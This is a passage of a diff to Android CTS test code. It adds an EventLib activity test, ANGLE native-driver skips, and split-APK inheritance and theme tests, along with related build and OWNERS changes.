+    @Test
+    public void queryName_defaultValue_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivityName(DEFAULT_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().name()).isEqualTo(DEFAULT_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void querySimpleName_defaultValue_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivitySimpleName(DEFAULT_ACTIVITY_SIMPLE_NAME);
+
+        assertThat(eventLogs.get().simpleName()).isEqualTo(DEFAULT_ACTIVITY_SIMPLE_NAME);
+    }
+
+    @Test
+    public void queryActivityClass_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivityClass(mActivity.getClass());
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..c1f2716
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+    private static final String GENERATED_ACTIVITY_CLASS_NAME
+            = "com.android.generatedEventLibActivity";
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void launchEventLibActivity_logsActivityCreatedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(CONTEXT.getPackageName());
+        intent.setClassName(CONTEXT.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        CONTEXT.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(CONTEXT.getPackageName())
+                .withActivityClass(EventLibActivity.class);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(CONTEXT.getPackageName());
+        intent.setClassName(CONTEXT.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        CONTEXT.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(CONTEXT.getPackageName())
+                .withActivityName(GENERATED_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+}
diff --git a/common/device-side/eventlib/src/test/testapp/Android.bp b/common/device-side/eventlib/src/test/testapp/Android.bp
index 73a1cbd..edf5790 100644
--- a/common/device-side/eventlib/src/test/testapp/Android.bp
+++ b/common/device-side/eventlib/src/test/testapp/Android.bp
@@ -8,4 +8,5 @@
         "EventLib"
     ],
     manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
 }
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
index 9283e0e..f915144 100644
--- a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -17,6 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib.tests.testapp">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
     <application>
         <activity android:name=".EventLoggingActivity"
                   android:exported="true">
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
index 32ed295..63ca5be 100644
--- a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
+++ b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -1,7 +1,6 @@
 package com.android.eventlib.tests.testapp;
 
 import android.app.Activity;
-import android.util.Log;
 
 import com.android.eventlib.events.CustomEvent;
 
@@ -10,6 +9,7 @@
  * passed in tag and data.
  */
 public class EventLoggingActivity extends Activity {
+
     @Override
     protected void onResume() {
         super.onResume();
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
         return (angleSupported != null) && (angleSupported.equals("true"));
     }
 
+    static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+        String driverProp = device.getProperty("ro.hardware.egl");
+
+        return (driverProp != null) && (driverProp.equals("angle"));
+    }
+
     static void startActivity(ITestDevice device, String action) throws Exception {
         // Run the ANGLE activity so it'll clear up any 'default' settings.
         device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
     @Test
     public void testUseDefaultDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -144,6 +145,7 @@
     @Test
     public void testUseAngleDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -161,6 +163,7 @@
     @Test
     public void testUseNativeDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -178,6 +181,7 @@
     @Test
     public void testSettingsLengthMismatch() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
     @Test
     public void testUseInvalidDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -217,6 +222,7 @@
     @Test
     public void testUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -239,6 +245,7 @@
     @Test
     public void testMultipleDevOptionsAngleNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
     @Test
     public void testMultipleUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
     @Test
     public void testAngleInUseDialogBoxWithAngle() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
@@ -465,6 +474,7 @@
     @Test
     public void testAngleInUseDialogBoxWithNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
     @Test
     public void testEmptyRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_EMPTY);
 
@@ -113,6 +114,7 @@
     @Test
     public void testEnableAngleRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_ENABLE_ANGLE);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index bd52d33..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -179,6 +179,10 @@
 
     @Test
     public void testDirectBootModeWorks() throws Exception {
+        if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            LogUtil.CLog.d("Device is NOT encrypted with file-based encryption. skipping test");
+            return;
+        }
         assumeTrue("Screen lock is not supported so skip direct boot test",
                 hasDeviceFeature("android.software.secure_lock_screen"));
         // Install AppA and verify no data stored
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index d536ade..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
 
 package android.appsecurity.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,7 @@
         }
     }
 
+    @SecurityTest
     public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
                 "testAfterMoveDocumentInStorage_revokeUriPermission");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3c8b4a6..45f6f4b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -39,7 +39,7 @@
     static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
 
     static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
-    static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+    static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
     static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
 
     static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +53,7 @@
     static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
 
     private static final String APK_v7 = "CtsSplitApp_v7.apk";
+    private static final String APK_v23 = "CtsSplitApp_v23.apk";
     private static final String APK_fr = "CtsSplitApp_fr.apk";
     private static final String APK_de = "CtsSplitApp_de.apk";
 
@@ -73,8 +74,15 @@
     private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
     private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
 
-    private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
-    private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+    private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+    private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+    private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+    private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+    private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+    private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+    private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
 
     static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
 
@@ -452,44 +460,65 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureBase_full() throws Exception {
-        testFeatureBase(false);
+    public void testFeatureWarmBase_full() throws Exception {
+        testFeatureWarmBase(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureBase_instant() throws Exception {
-        testFeatureBase(true);
+    public void testFeatureWarmBase_instant() throws Exception {
+        testFeatureWarmBase(true);
     }
-    private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
-        runDeviceTests(PKG, CLASS, "testFeatureBase");
+    private void testFeatureWarmBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureApi_full() throws Exception {
-        testFeatureApi(false);
+    public void testFeatureWarmApi_full() throws Exception {
+        testFeatureWarmApi(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureApi_instant() throws Exception {
-        testFeatureApi(true);
+    public void testFeatureWarmApi_instant() throws Exception {
+        testFeatureWarmApi(true);
     }
-    private void testFeatureApi(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
-        runDeviceTests(PKG, CLASS, "testFeatureApi");
+    private void testFeatureWarmApi(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v7).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedBase() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedBase_full() throws Exception {
+        testInheritUpdatedBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedBase_instant() throws Exception {
+        testInheritUpdatedBase(true);
+    }
+    public void testInheritUpdatedBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedSplit() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedSplit_full() throws Exception {
+        testInheritUpdatedSplit(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedSplit_instant() throws Exception {
+        testInheritUpdatedSplit(true);
+    }
+    private void testInheritUpdatedSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
     }
 
     @Test
@@ -535,17 +564,17 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_full() throws Exception {
-        testRequiredSplitInstalledFeature(false);
+    public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_instant() throws Exception {
-        testRequiredSplitInstalledFeature(true);
+    public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(true);
     }
-    private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
-                .run();
+    private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
     }
 
     @Test
@@ -577,11 +606,11 @@
         // start with a base and two splits
         new InstallMultiple(instant)
                 .addFile(APK_NEED_SPLIT_BASE)
-                .addFile(APK_NEED_SPLIT_FEATURE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM)
                 .addFile(APK_NEED_SPLIT_CONFIG)
                 .run();
         // it's okay to remove one of the splits
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature").run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
         // but, not to remove all of them
         new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
                 .runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
@@ -606,4 +635,128 @@
         new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBase_full() throws Exception {
+        testTheme_installBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBase_instant() throws Exception {
+        testTheme_installBase(true);
+    }
+    private void testTheme_installBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBaseV23_full() throws Exception {
+        testTheme_installBaseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBaseV23_instant() throws Exception {
+        testTheme_installBaseV23(true);
+    }
+    private void testTheme_installBaseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarm_full() throws Exception {
+        testTheme_installFeatureWarm(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarm_instant() throws Exception {
+        testTheme_installFeatureWarm(true);
+    }
+    private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_full() throws Exception {
+        testTheme_installFeatureWarmV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23(true);
+    }
+    private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(true);
+    }
+    private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+                .removeSplit("feature_warm.config.v23").run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+        testTheme_installFeatureWarmAndRose(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+        testTheme_installFeatureWarmAndRose(true);
+    }
+    private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_ROSE).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(true);
+    }
+    private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+                .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+                .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index dcba2a6..6834791 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
 dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 2e34b5e..ab0f334 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 212b91b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 95221
 include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
 
         final PendingIntent pendingIntent = PendingIntent.getActivity(
                 getContext(), WEB_LINK_REQUEST_CODE, intent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
index 2e48256..0fa8469 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -41,6 +41,7 @@
         "xhdpi-v4",
         "xxhdpi-v4",
         "v7",
+        "v23",
         "fr",
         "de",
     ],
@@ -127,3 +128,25 @@
         "general-tests",
     ],
 }
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+    name: "CtsSplitAppRevisionA",
+    defaults: ["CtsSplitAppDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index 186c1aa..64010fc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
